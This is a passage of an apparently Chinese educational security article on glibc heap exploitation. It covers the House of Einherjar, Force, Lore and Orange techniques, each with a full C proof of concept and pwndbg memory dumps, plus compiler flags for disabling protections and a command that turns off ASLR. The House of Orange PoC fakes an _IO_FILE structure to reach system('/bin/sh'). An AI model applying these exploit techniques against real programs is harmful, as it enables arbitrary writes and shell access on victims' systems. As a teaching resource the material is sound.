House of 系列堆漏洞详解(一)
2020-02-28 10:10:59 Author: xz.aliyun.com(查看原文) 阅读量:207 收藏

多Glibc版本调试方法

由于house of 技术中的一些漏洞只能在特定的低版本Glibc中触发,因此我这里基于pwntools写了一个脚本,可以使文中所示的程序在高版本系统下编译后,gdb调试时能强制加载特定版本的Glibc。

首先需要准备特定版本的Glibc,这里以libc-2.25.so.6为例

from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'

pro = raw_input("py <Bin_Path>:   ")
pro=pro.replace("\n", "")
io = process([pro],env={"LD_PRELOAD":"./libc-2.25.so.6"})
gdb.attach(io,'set exec-wrapper env "LD_PRELOAD=./libc-2.25.so.6"')
pause()
io.interactive()

在弹出的gdb窗口 r 一下就可以运行了。

这里再提一下gcc编译,如果想要进行源码调试,需要加 -g 选项。-D GLIBC_VERSION=25 选项可设置动态链接的glibc版本为2.25。

为了方便我们之后的调试,需要在编译时关闭相关保护,选项如下

CANNARY
gcc -fno-stack-protector -o test test.c  //禁用栈保护
gcc -fstack-protector -o test test.c   //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码
FORTIFY
gcc -D_FORTIFY_SOURCE=1 仅仅只会在编译时进行检查 
gcc -D_FORTIFY_SOURCE=2 程序执行时也会有检查(如果检查到缓冲区溢出,就终止程序)
NX
gcc -o test test.c                  // 默认情况下,开启NX保护
gcc -z execstack -o test test.c     // 禁用NX保护
gcc -z noexecstack -o test test.c   // 开启NX保护
PIE
gcc -o test test.c              // 默认情况下,不开启PIE
gcc -fpie -pie -o test test.c       // 开启PIE,此时强度为1
gcc -fPIE -pie -o test test.c       // 开启PIE,此时为最高强度2
gcc -fpic -o test test.c        // 开启PIC,此时强度为1,不会开启PIE
gcc -fPIC -o test test.c        // 开启PIC,此时为最高强度2,不会开启PIE

系统中关闭PIE选项使用sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

但可能会报错 -bash: /proc/sys/kernel/randomize_va_space: 权限不够

这可能是因为sudo命令不支持重定向

使用sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"即可

RELRO
gcc -o test test.c                      // 默认情况下,是Partial RELRO
gcc -z norelro -o test test.c           // 关闭,即No RELRO
gcc -z lazy -o test test.c              // 部分开启,即Partial RELRO
gcc -z now -o test test.c               // 全部开启,即

House of Einherjar

原理

House of Einherjar依靠Off-by-one将下一个chunk的 pre_inuse标志位置零,将 p1 的 prev_size 字段设置为我们想要的目的 chunk 位置与 p1 的差值,在free下一个chunk时,让free函数以为上一个chunk已经被free,当free最后一个chunk时,会将伪造的chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置为我们伪造chunk的地址。

Poc

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define       CHUNKSIZE               0x100
#define       FIRST_CHUNKSIZE         0x20
#define       SECOND_CHUNKSIZE        CHUNKSIZE
#define       THIRD_CHUNKSIZE         0x0

#define       INTERNAL_SIZE_T         size_t
#define       SIZE_SZ                 sizeof(INTERNAL_SIZE_T)

struct malloc_chunk {
    INTERNAL_SIZE_T         prev_size;
    INTERNAL_SIZE_T         size;
    struct malloc_chunk*    fd;
    struct malloc_chunk*    bk;
    struct malloc_chunk*    fd_nextsize;
    struct malloc_chunk*    bk_nextsize;
};

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ);
    // 第一个字节将被覆盖为空字节.
    char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ);
    // 防止调用 malloc_consolidate().
    char *p2 = malloc(THIRD_CHUNKSIZE);

    printf("House of Einherjar Poc\n\n");
    printf("堆中共申请三个chunk\n第一个chunk只需要对齐且未分配\n第二个chunk大小必须在smallbin & largebin范围内\n最后一个chunk可以为任意大小,只需要保证不调用malloc_consolidate()\n");
    printf("\tp0 = %p\n\tp1 = %p\n\tp2 = %p\n", p0, p1, p2);

    printf("\n----------------\n");
    printf("在栈中伪造一个fakechunk\n");

    struct malloc_chunk fakechunk;
    fakechunk.size = 0;
    fakechunk.fd = &fakechunk;
    fakechunk.bk = &fakechunk;

    printf("当前 fakechunk: \n");
    printf("\t&fakechunk: %p\n", &fakechunk);
    printf("\t\t.size: 0x%zx\n\t\t.fd:   %p\n\t\t.bk:   %p\n",
            fakechunk.size, fakechunk.fd, fakechunk.bk);

    printf("假设p0对p1存在Off-by-one \n因此p1->size的最低位将被修改为NULL \np1->prev_size同样受到影响\n\n");

    off_t diff = (off_t)&fakechunk-(off_t)(struct malloc_chunk *)(p1-SIZE_SZ*2);
    // ((struct malloc_chunk *)(p1-SIZE_SZ*2))->prev_size = -diff;
    *((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2]) = -diff;
    p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one
    printf("** 溢出触发 **\n");
    // ----------------------------------------------

    printf("通过free(p1)触发合并\n");
    free(p1);

    printf("\n----------------\n");
    printf("当前 fakechunk: \n");
    printf("\t&fakechunk: %p\n", &fakechunk);
    printf("\t\t.size: 0x%zx\n\t\t.fd:   %p\n\t\t.bk:   %p\n",
            fakechunk.size, fakechunk.fd, fakechunk.bk);

    printf("\n控制fakechunk->size为合适的值 \n");
    fakechunk.size = CHUNKSIZE;

    printf("当前 fakechunk: \n");
    printf("\t&fakechunk: %p\n", &fakechunk);
    printf("\t\t.size: 0x%zx\n\t\t.fd:   %p\n\t\t.bk:   %p\n",
            fakechunk.size, fakechunk.fd, fakechunk.bk);
    printf("\n----------------\n");

    printf("malloc(0x%zx) // fakechunk+SIZE_SZ.\n",
    CHUNKSIZE - SIZE_SZ);
    char *where_you_want = malloc(CHUNKSIZE - SIZE_SZ);
    printf("\t目标地址 = %p\n", where_you_want);

    return 0;
}

分步分析

1 申请三个chunk

char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ);
    // 第一个字节将被覆盖为空字节.
    char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ);
    // 防止调用 malloc_consolidate().
    char *p2 = malloc(THIRD_CHUNKSIZE);
pwndbg> heap
0x555555559000 PREV_INUSE {
  prev_size = 0, 
  size = 657, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555559290 FASTBIN {            # p0
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x101               # off-by-one位置
}
0x5555555592b0 PREV_INUSE {         # p1
  prev_size = 0, 
  size = 257, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x5555555593b0 FASTBIN {            # p2
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20c31
}
0x5555555593d0 PREV_INUSE {
  prev_size = 0, 
  size = 134193, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> x/50xg 0x555555559290
0x555555559290: 0x0000000000000000  0x0000000000000021 <== p0
0x5555555592a0: 0x0000000000000000  0x0000000000000000
0x5555555592b0: 0x0000000000000000  0x0000000000000101 <== p1
0x5555555592c0: 0x0000000000000000  0x0000000000000000
0x5555555592d0: 0x0000000000000000  0x0000000000000000
                       ...
0x555555559390: 0x0000000000000000  0x0000000000000000
0x5555555593a0: 0x0000000000000000  0x0000000000000000
0x5555555593b0: 0x0000000000000000  0x0000000000000021 <== p2
0x5555555593c0: 0x0000000000000000  0x0000000000000000
0x5555555593d0: 0x0000000000000000  0x0000000000020c31 <== top chunk
0x5555555593e0: 0x0000000000000000  0x0000000000000000

2 off-by-one

off_t diff = (off_t)&fakechunk-(off_t)(struct malloc_chunk *)(p1-SIZE_SZ*2);
    // ((struct malloc_chunk *)(p1-SIZE_SZ*2))->prev_size = -diff;
    *((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2]) = -diff; //fakechunk与p1的偏移量
    p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one
0x555555559290 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0xffffd5555555b750,   <== 偏移量
  bk_nextsize = 0x100
}
pwndbg> x/50xg 0x555555559290
0x555555559290: 0x0000000000000000  0x0000000000000021
0x5555555592a0: 0x0000000000000000  0x0000000000000000
0x5555555592b0: 0xffffd5555555b750  0x0000000000000100 <==覆盖inuse
0x5555555592c0: 0x0000000000000000  0x0000000000000000
                       ...
0x555555559390: 0x0000000000000000  0x0000000000000000
0x5555555593a0: 0x0000000000000000  0x0000000000000000
0x5555555593b0: 0x0000000000000000  0x0000000000000021
0x5555555593c0: 0x0000000000000000  0x0000000000000000
0x5555555593d0: 0x0000000000000000  0x0000000000020c31
0x5555555593e0: 0x0000000000000000  0x0000000000000000

3 free p1

p1 free前与free后比较

0x5555555592b0 {
  prev_size = 18446697161213458256, 
  size = 256, 
  fd = 0x0, 
  bk = 0x0,                <------------------
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

0x5555555592b0 {
  prev_size = 18446697161213458256, 
  size = 256, 
  fd = 0x0, 
  bk = 0x555555559010,     <------------------
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

4 malloc

pwndbg> 
    目标地址 = 0x7fffffffdb50

通过计算,重新申请到新的位置

Glibc 2.27

在2.27版本中malloc.c对prev_size 的检查如下

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))\
  malloc_printerr ("corrupted size vs. prev_size");            \

只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就可以了

fake_chunk2 = (struct malloc_chunk *)p0 + 1;

fake_chunk2->prev_size = sizeof(struct malloc_chunk);

利用思路

通过house_of_einherjar,我们可以控制top chunk,再次malloc后,我们可以控制程序相应位置,按照程序功能,可能会达到任意地址读写,然后就可以通过一般手段getshell。

House of force

原理

假设top chunk的header可被溢出覆盖,可以将size修改为一个大数,使得所有初始化都通过top chunk而不是mmap,再malloc就可以使接下来的任何操作都调用指定地址,这里相当于一次任意地址写。

利用条件:

  • 1.用户能够以溢出等方式控制到top chunk的size域
  • 2.用户能够自由的控制堆分配尺寸的大小

Poc

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "这里是将要被覆写的字符串.";

int main(int argc , char* argv[])
{
    fprintf(stderr, "\nHouse of Force Poc\n\n");

    fprintf(stderr, "\n我们将通过此漏洞覆写地址 %p 的值.\n", bss_var);
    fprintf(stderr, "当前值为: %s\n", bss_var);

    fprintf(stderr, "\n申请第一个chunk.\n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr, "大小为256 bytes 的chunk 在 %p 被申请.\n", p1 - 2);

    int real_size = malloc_usable_size(p1);
    fprintf(stderr, "分配的块的实际大小是 %ld.\n", real_size + sizeof(long)*2);

    fprintf(stderr, "\n假设存在一个可溢出到 top chunk 的漏洞\n");

    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
    fprintf(stderr, "\ntop chunk 起始地址是 %p\n", ptr_top);

    fprintf(stderr, "\n用一个极大值覆写top chunk的size使得malloc不会调用mmap\n");
    fprintf(stderr, "top chunk的旧size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
    fprintf(stderr, "top chunk的新size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));

    fprintf(stderr, "\n接下来申请一个chunk,通过整数溢出指向该chunk");

    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr, "\n我们想要写的值位于 %p, top chunk 位于 %p, 通过计算头部size,\n"
       "我们应该 malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);
    fprintf(stderr, "新指针和旧top chunk一样指向: %p\n", new_ptr - sizeof(long)*2);

    void* ctr_chunk = malloc(100);
    fprintf(stderr, "\n下一个chunk将指向目标buffer.\n");
    fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
    fprintf(stderr, "现在我们可覆写该字符串:\n");

    fprintf(stderr, "... old string: %s\n", bss_var);
    fprintf(stderr, "... 使用 strcpy 覆写 \"YEAH!!!\"...\n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr, "... new string: %s\n", bss_var);
}

分步分析

1 申请一个chunk

intptr_t *p1 = malloc(256);
pwndbg> heap
0x555555559000 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 657, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555559290 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 273, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x5555555593a0 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 134241, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> x/40xg 0x555555559290
0x555555559290: 0x0000000000000000  0x0000000000000111
0x5555555592a0: 0x0000000000000000  0x0000000000000000
0x5555555592b0: 0x0000000000000000  0x0000000000000000
                       ...
0x555555559390: 0x0000000000000000  0x0000000000000000
0x5555555593a0: 0x0000000000000000  0x0000000000020c61 <==== top chunk

2 溢出修改top chunk size

*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
pwndbg> x/40xg 0x555555559290
0x555555559290: 0x0000000000000000  0x0000000000000111
0x5555555592a0: 0x0000000000000000  0x0000000000000000
0x5555555592b0: 0x0000000000000000  0x0000000000000000
                       ...
0x555555559390: 0x0000000000000000  0x0000000000000000
0x5555555593a0: 0x0000000000000000  0xffffffffffffffff <==== 修改top chunk size为极大值
0x5555555593b0: 0x0000000000000000  0x0000000000000000

抬高malloc到目标buffer

unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
void *new_ptr = malloc(evil_size);
malloc 0xffffffffffffeef0 bytes.

malloc并strcpy覆写

void* ctr_chunk = malloc(100);
strcpy(ctr_chunk, "YEAH!!!");
... old string: 这里是将要被覆写的字符串.
... 使用 strcpy 覆写 "YEAH!!!"...
... new string: YEAH!!!

Glibc 2.27

目前在glibc2.27上仍然可以利用,而2.29版本则已有缓解措施

if (__glibc_unlikely (size > av->system_mem))
    malloc_printerr ("malloc(): corrupted top size");

House of lore

原理

创建两个chunk,第一个用于进入smallbin中,第二个用来防止free后被top chunk合并,free第一块,将其送入unsortedbin链表,再次申请一个size位于largebin中,并且在unsortedbin中没有与其匹配的chunk,系统接下来会把unsortedbin中的chunk加入到smallbin中。假设可以控制 第一个chunk的fd、bk指针,我们就可以在栈上伪造出一个smallbin的链表,再次malloc时,就可以从smallbin的链表末尾取chunk了。这样就可以在栈上创造chunk。

Poc

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

struct small_chunk {
  size_t prev_size;
  size_t size;
  struct small_chunk *fd;
  struct small_chunk *bk;
  char buf[0x64];               // 填充 smallbin size大小的chunk
};

int main() {
  struct small_chunk fake_chunk, another_fake_chunk;
  struct small_chunk *real_chunk;
  unsigned long long *ptr, *victim;
  int len;

  printf("House of lore Poc\n\n");

  printf("fake_chunk地址:  %p\n\n", &fake_chunk);
  len = sizeof(struct small_chunk);

  printf("申请两个small chunk,释放第一个,该块会并入unsorted bin\n");
  ptr = malloc(len);
  printf("第一块small chunk地址:  %p\n\n", ptr);

  printf("第二块大小可以为任意值,只是为了防止第一块free后与top chunk合并\n");
  printf("第二块small chunk地址:  %p\n\n", malloc(len));
  free(ptr);

  real_chunk = (struct small_chunk *)(ptr - 2);
  printf("第一块目前的地址:  %p\n\n", real_chunk);

  printf("再申请一个chunk,size大于之前chunk以防被分配到同一个位置\n");
  printf("之前free的chunk现在进入small bin\n");
  printf("第三块small chunk地址:  %p\n\n", malloc(len + 0x10));

  printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n");
  real_chunk->bk = &fake_chunk;

  printf("使fake_chunk的fd指针指向第一块small chunk\n");
  fake_chunk.fd = real_chunk;

  printf("绕过 \'victim->bk->fd == victim\' 检测\n");
  fake_chunk.bk = &another_fake_chunk;
  another_fake_chunk.fd = &fake_chunk;

  printf("重新申请第一块,地址为:  %p\n", malloc(len));

  victim = malloc(len);
  printf("再次申请得到fake_chunk,地址为  %p\n", victim);

  return 0;
}

分步分析

1 申请两个small chunk

ptr = malloc(len);
  printf("第一块small chunk地址:  %p\n\n", ptr);

  printf("第二块大小可以为任意值,只是为了防止第一块free后与top chunk合并\n");
  printf("第二块small chunk地址:  %p\n\n", malloc(len));
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000  0x0000000000000000
0x555555559410: 0x0000000000000000  0x0000000000000091 <=== chunk1
0x555555559420: 0x0000000000000000  0x0000000000000000
0x555555559430: 0x0000000000000000  0x0000000000000000
0x555555559440: 0x0000000000000000  0x0000000000000000
0x555555559450: 0x0000000000000000  0x0000000000000000
0x555555559460: 0x0000000000000000  0x0000000000000000
0x555555559470: 0x0000000000000000  0x0000000000000000
0x555555559480: 0x0000000000000000  0x0000000000000000
0x555555559490: 0x0000000000000000  0x0000000000000000
0x5555555594a0: 0x0000000000000000  0x0000000000000091 <=== chunk2
0x5555555594b0: 0x0000000000000000  0x0000000000000000
0x5555555594c0: 0x0000000000000000  0x0000000000000000
0x5555555594d0: 0x0000000000000000  0x0000000000000000
0x5555555594e0: 0x0000000000000000  0x0000000000000000
0x5555555594f0: 0x0000000000000000  0x0000000000000000
0x555555559500: 0x0000000000000000  0x0000000000000000
0x555555559510: 0x0000000000000000  0x0000000000000000
0x555555559520: 0x0000000000000000  0x0000000000000000
0x555555559530: 0x0000000000000000  0x0000000000020ad1 <=== top chunk

2 释放chunk1

pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000  0x0000000000000000
0x555555559410: 0x0000000000000000  0x0000000000000091
0x555555559420: 0x00007ffff7fc4b38  0x00007ffff7fc4b38 <=== 加入unsorted bin
0x555555559430: 0x0000000000000000  0x0000000000000000
0x555555559440: 0x0000000000000000  0x0000000000000000
0x555555559450: 0x0000000000000000  0x0000000000000000
0x555555559460: 0x0000000000000000  0x0000000000000000
0x555555559470: 0x0000000000000000  0x0000000000000000
0x555555559480: 0x0000000000000000  0x0000000000000000
0x555555559490: 0x0000000000000000  0x0000000000000000
0x5555555594a0: 0x0000000000000090  0x0000000000000090
0x5555555594b0: 0x0000000000000000  0x0000000000000000
                       ...
0x555555559520: 0x0000000000000000  0x0000000000000000
0x555555559530: 0x0000000000000000  0x0000000000020ad1  =================>|
                                                                          |
pwndbg> x/20xg 0x00007ffff7fc4b38                                         |
0x7ffff7fc4b38 <main_arena+88>: 0x0000555555559530  0x0000000000000000  <=|
0x7ffff7fc4b48 <main_arena+104>:    0x0000555555559410  0x0000555555559410 <=== chunk1
0x7ffff7fc4b58 <main_arena+120>:    0x00007ffff7fc4b48  0x00007ffff7fc4b48
0x7ffff7fc4b68 <main_arena+136>:    0x00007ffff7fc4b58  0x00007ffff7fc4b58
0x7ffff7fc4b78 <main_arena+152>:    0x00007ffff7fc4b68  0x00007ffff7fc4b68
0x7ffff7fc4b88 <main_arena+168>:    0x00007ffff7fc4b78  0x00007ffff7fc4b78
0x7ffff7fc4b98 <main_arena+184>:    0x00007ffff7fc4b88  0x00007ffff7fc4b88
0x7ffff7fc4ba8 <main_arena+200>:    0x00007ffff7fc4b98  0x00007ffff7fc4b98
0x7ffff7fc4bb8 <main_arena+216>:    0x00007ffff7fc4ba8  0x00007ffff7fc4ba8
0x7ffff7fc4bc8 <main_arena+232>:    0x00007ffff7fc4bb8  0x00007ffff7fc4bb8

3 申请chunk3

printf("第三块small chunk地址:  %p\n\n", malloc(len + 0x10));
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000  0x0000000000000000
0x555555559410: 0x0000000000000000  0x0000000000000091
0x555555559420: 0x00007ffff7fc4bb8  0x00007ffff7fc4bb8 <=== chunk1加入small bin
0x555555559430: 0x0000000000000000  0x0000000000000000
                        ...
0x555555559490: 0x0000000000000000  0x0000000000000000
0x5555555594a0: 0x0000000000000090  0x0000000000000090
0x5555555594b0: 0x0000000000000000  0x0000000000000000
                        ...
0x555555559530: 0x0000000000000000  0x00000000000000a1

pwndbg> x/20xg 0x00007ffff7fc4bb8
0x7ffff7fc4bb8 <main_arena+216>:    0x00007ffff7fc4ba8  0x00007ffff7fc4ba8
0x7ffff7fc4bc8 <main_arena+232>:    0x0000555555559410  0x0000555555559410 <=== chunk1
0x7ffff7fc4bd8 <main_arena+248>:    0x00007ffff7fc4bc8  0x00007ffff7fc4bc8
0x7ffff7fc4be8 <main_arena+264>:    0x00007ffff7fc4bd8  0x00007ffff7fc4bd8
0x7ffff7fc4bf8 <main_arena+280>:    0x00007ffff7fc4be8  0x00007ffff7fc4be8
0x7ffff7fc4c08 <main_arena+296>:    0x00007ffff7fc4bf8  0x00007ffff7fc4bf8
0x7ffff7fc4c18 <main_arena+312>:    0x00007ffff7fc4c08  0x00007ffff7fc4c08
0x7ffff7fc4c28 <main_arena+328>:    0x00007ffff7fc4c18  0x00007ffff7fc4c18
0x7ffff7fc4c38 <main_arena+344>:    0x00007ffff7fc4c28  0x00007ffff7fc4c28
0x7ffff7fc4c48 <main_arena+360>:    0x00007ffff7fc4c38  0x00007ffff7fc4c38

4 修改bk fd指针,绕过检测

printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n");
real_chunk->bk = &fake_chunk;

printf("使fake_chunk的fd指针指向第一块small chunk\n");
fake_chunk.fd = real_chunk;

printf("绕过 \'victim->bk->fd == victim\' 检测\n");
fake_chunk.bk = &another_fake_chunk;
another_fake_chunk.fd = &fake_chunk;
pwndbg> x/40xg 0x555555559420 -0x20
0x555555559400: 0x0000000000000000  0x0000000000000000
0x555555559410: 0x0000000000000000  0x0000000000000091
0x555555559420: 0x00007ffff7fc4bb8  0x00007fffffffda70 <=== fd->smallbin  bk->&fake_chunk
0x555555559430: 0x0000000000000000  0x0000000000000000
                       ...
0x555555559490: 0x0000000000000000  0x0000000000000000
0x5555555594a0: 0x0000000000000090  0x0000000000000090
0x5555555594b0: 0x0000000000000000  0x0000000000000000
                       ...
0x555555559520: 0x0000000000000000  0x0000000000000000
0x555555559530: 0x0000000000000000  0x00000000000000a1

pwndbg> x/20xg 0x00007fffffffda70
0x7fffffffda70: 0x0000038000000380  0x0000038000000380 <=== fake_chunk
0x7fffffffda80: 0x0000555555559410  0x00007fffffffdb00 <=== fd->chunk1  bk->&another_fake_chunk
0x7fffffffda90: 0x0000038000000380  0x0000038000000380
0x7fffffffdaa0: 0x0000038000000380  0x0000038000000380
0x7fffffffdab0: 0x0000038000000380  0x0000038000000380
0x7fffffffdac0: 0x0000000000000000  0x0000004000000100
0x7fffffffdad0: 0x0000000000000000  0x0000000000000000
0x7fffffffdae0: 0x0000000000000000  0x0000000000000000
0x7fffffffdaf0: 0x0000000000000000  0x0000000000000000
0x7fffffffdb00: 0x0000000000000000  0x0000000000000000

5 malloc两次,成功将fake_chunk加入

printf("重新申请第一块,地址为:  %p\n", malloc(len));

victim = malloc(len);

利用思路

通过house of lore,我们达到了任意地址分配内存的效果,就可以向chunk中写入数据来覆盖返回地址控制eip,甚至绕过 canary检查。

House of Orange

原理

假设存在堆溢出可覆盖到 top chunk,设置top chunk+size页面对齐,设置prev_inuse位,然后申请一块比top chunk size大的块,使top chunk扩展。控制io_list_all,当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。修改fd满足相应条件,设置跳板指针指向可控内存,malloc触发利用链。

Poc

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);

int main()
{
    fprintf(stderr,"House of orange Poc\n\n");

    char *p1, *p2;
    size_t io_list_all, *top;

    p1 = malloc(0x400-16);
    fprintf(stderr,"首先申请一个chunk: p1 %p \n",p1);

    fprintf(stderr,"设置top chunk+size页面对齐,设置prev_inuse位\n\n");
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    fprintf(stderr,"申请一个size大于top chunk的块,使其调用sysmalloc和_init_free\n\n");
    p2 = malloc(0x1000);
    fprintf(stderr,"p2 %p \n", p2);

    fprintf(stderr,"chunk->bk->fd覆盖_IO_list_all指针\n\n");
    io_list_all = top[2] + 0x9a8;
    fprintf(stderr,"io_list_all现在指向chunk->bk->fd  %p \n", &io_list_all);
    fprintf(stderr,"当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。\n\n");

    fprintf(stderr,"设置chunk->bk为_IO_list_all - 16\n");
    top[3] = io_list_all - 0x10;

    fprintf(stderr,"system将通过top指针被调用,使用用/bin/sh填充前8个字节,相当于system(/bin/sh)\n");
    memcpy( ( char *) top, "/bin/sh\x00", 8);

    fprintf(stderr,"将top chunk的size改小,使旧的top chunk被malloc分配到small bin[4],指向伪文件指针的fd-ptr\n\n");
    top[1] = 0x61;

    fprintf(stderr,"满足条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n");
    _IO_FILE *fp = (_IO_FILE *) top;

    fprintf(stderr,"满足 fp->_mode <= 0\n" );
    fp->_mode = 0; // top+0xc0

    fprintf(stderr,"满足 fp->_IO_write_ptr > fp->_IO_write_base\n");
    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28

    fprintf(stderr,"设置跳板指向可控内存\n\n");
    size_t *jump_table = &top[12]; // 可控内存
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

    fprintf(stderr,"malloc触发利用链\n");
    malloc(10);

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

分步分析

1 申请chunk1,修改top chunk

p1 = malloc(0x400-16);

fprintf(stderr,"设置top chunk+size页面对齐,设置prev_inuse位\n\n");
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
pwndbg> heap
0x603000 PREV_INUSE {
  prev_size = 0, 
  size = 1025, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603400 PREV_INUSE {    <====== chunk1
  prev_size = 0, 
  size = 3073, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x604000 {               <====== top chunk
  prev_size = 0, 
  size = 0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

pwndbg> x/40xg 0x603400-0x400
0x603000:   0x0000000000000000  0x0000000000000401 <===== chunk1
0x603010:   0x0000000000000000  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000000000
                   ...
0x6033f0:   0x0000000000000000  0x0000000000000000
0x603400:   0x0000000000000000  0x0000000000000c01 <===== top chunk
0x603410:   0x0000000000000000  0x0000000000000000

2 申请一个size大于top chunk的块

malloc p2前

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x601000           0x602000 r--p     1000 1000   /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x602000           0x603000 rw-p     1000 2000   /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
          0x603000           0x624000 rw-p    21000 0      [heap]  <========= 0x603000-0x624000
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0      
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7fdd000     0x7ffff7fe0000 rw-p     3000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]


malloc p2后

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r-xp     1000 0      /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1
